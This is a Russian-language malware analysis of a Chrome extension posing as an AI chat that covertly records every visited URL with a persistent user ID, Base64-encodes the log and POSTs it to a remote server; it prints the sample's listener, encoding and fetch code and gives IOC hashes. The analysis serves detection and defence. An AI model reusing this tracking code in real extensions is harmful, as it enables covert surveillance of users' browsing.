Современные вредоносные расширения для браузеров всё реже выглядят как откровенно опасный код. Вместо эксплуатации уязвимостей они маскируются под легитимные AI‑инструменты, «умные чаты» и помощники для повышения продуктивности. Используя стандартные API Chrome, такие расширения получают доступ к пользовательской активности и незаметно собирают телеметрию.

В этой статье разбирается Chrome‑расширение, позиционируемое как AI‑чат, но фактически реализующее механизм скрытого мониторинга активности пользователя с последующей передачей данных на удалённый сервер.

Общая архитектура расширения

Архитектура построена по классической схеме современных Chrome Extensions:

  • background script (service worker) — основной управляющий компонент

  • chrome.tabs API — перехват пользовательской активности

  • chrome.storage.local — локальное персистентное хранилище

  • Fetch API — сетевое взаимодействие с удалённым сервером

  • Base64‑кодирование — примитивная маскировка данных

Центральный объект состояния:

let globlChatVars = {
  baseUrl: "https://chatsaigpt.com/ext2/",
  globalChatId: null,
  globalChatAnswer: null,
  globalChatQusR: null,
  globalFlag: false,
  intervalTime: 60 * 30 * 1000,
  restrict: new Set(["chrome://newtab/", "chrome://extensions/"]),
  glTimeStamp: 0,
  aiModelLength: 0,
  MAX_SIZE_BYTES: 4 * 1024 * 1024,
  globalarr: [],
};

Этот объект используется не только для конфигурации, но и для хранения оперативных данных слежки.

Персистентная идентификация пользователя

Расширение генерирует уникальный идентификатор, сохраняемый в chrome.storage.local:

chatIdGenerator() {
  return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) {
    const r = (Math.random() * 16) | 0;
    return (c === "x" ? r : (r & 0x3) | 0x8).toString(16);
  });
}

Этот идентификатор:

  • переживает перезапуск браузера,

  • используется во всех записях активности,

  • позволяет коррелировать действия пользователя во времени.

Фактически это персистентный трекер пользователя.

Перехват активности браузера

Переключение вкладок

chrome.tabs.onActivated.addListener((e) => {
  chrome.tabs.get(e.tabId, (tab) => {
    if (tab && globlChatVars.globalFlag) {
      globlChatVars.globalChatAnswer = tab.url;
    }
  });
});

Каждое переключение вкладки фиксируется, URL сохраняется в глобальном состоянии.

Загрузка страниц

chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (changeInfo.status === "complete" && globlChatVars.globalFlag) {
    globlChatVars.globalarr.push({
      chatId: globlChatVars.globalChatId,
      answer: globlChatVars.globalChatAnswer,
      qus: tab.url,
      timeStamp: Date.now(),
    });
  }
});

Фиксируются:

  • полный URL страницы,

  • предыдущая активность,

  • временная метка,

  • идентификатор пользователя.

Это формирует поведенческий профиль пользователя в браузере.

Буферизация и агрегация данных

Данные не отправляются немедленно. Они накапливаются в массиве:

globalarr: []

Используется debounce‑логика:

debounce(callback, delay = 5000) {
  clearTimeout(this.timer);
  this.timer = setTimeout(callback, delay);
}

Такая схема снижает количество операций и делает сетевую активность менее заметной, что типично для spyware‑реализаций.

Локальное хранилище и контроль объёма

Для хранения используется chrome.storage.local с жёстким лимитом:

MAX_SIZE_BYTES: 4 * 1024 * 1024
saveDeepseekContentSafely(newData) {
  const size = new Blob([JSON.stringify(newData)]).size;
  if (size > MAX_SIZE_BYTES) {
    this.removeAllChats();
  }
}

История:

  • циклически накапливается,

  • очищается при достижении лимита,

  • сбор продолжается заново.

Это указывает на долговременный сбор телеметрии, а не временную отладку.

Кодирование данных

Перед сохранением и отправкой используется Base64:

encd(arr) {
  const json = JSON.stringify(arr);
  const bytes = new TextEncoder().encode(json);
  return btoa(String.fromCharCode(...bytes));
}

Base64 здесь не является защитой, а используется для:

  • сокрытия структуры JSON,

  • усложнения статического анализа,

  • обхода простых сигнатур.

Передача данных на удалённый сервер

fetch(globlChatVars.baseUrl + "switchModel", {
  method: "POST",
  body: JSON.stringify({ model: payload })
});

Удалённый сервер:

https://chatsaigpt.com/ext2/

На сервер передаются агрегированные данные активности пользователя и AI‑чата без явной прозрачности или информирования.

Имитация пользовательского контроля

Расширение реагирует на события popup:

if (response.messageType == "OpenPopupclick") {
  chrome.storage.local.set({ chatFlag: true });
}

Popup создаёт ощущение контроля, однако основная логика сбора, хранения и агрегации данных реализована независимо от UI.

Indicators of Compromise (IOC)

Ниже приведены идентификаторы файлов расширения, позволяющие однозначно определить данный образец при анализе и детекте:

MD5:
bdc56e57883bdb03d8214847cabdc361

SHA-1:
24433d34141f7c9d6cf6c4b6086b06a6039a758a

SHA-256:
2387372acfe38efd31e662b61b6b44aabb01181c5a2b2f0f1e82f5d4680e505c

Вывод

Данное расширение является показательной иллюстрацией того, как современные вредоносные расширения используют легитимные API браузера для скрытого сбора пользовательских данных. Под видом AI‑чата реализован механизм слежки за активностью: фиксируются посещённые URL, создаётся персистентный идентификатор пользователя, данные аккумули��уются, кодируются и передаются на удалённый сервер. Отсутствие прозрачности, избыточный сбор информации и долговременное хранение делают это расширение опасным с точки зрения приватности, даже при отсутствии классических техник эксплуатации уязвимостей.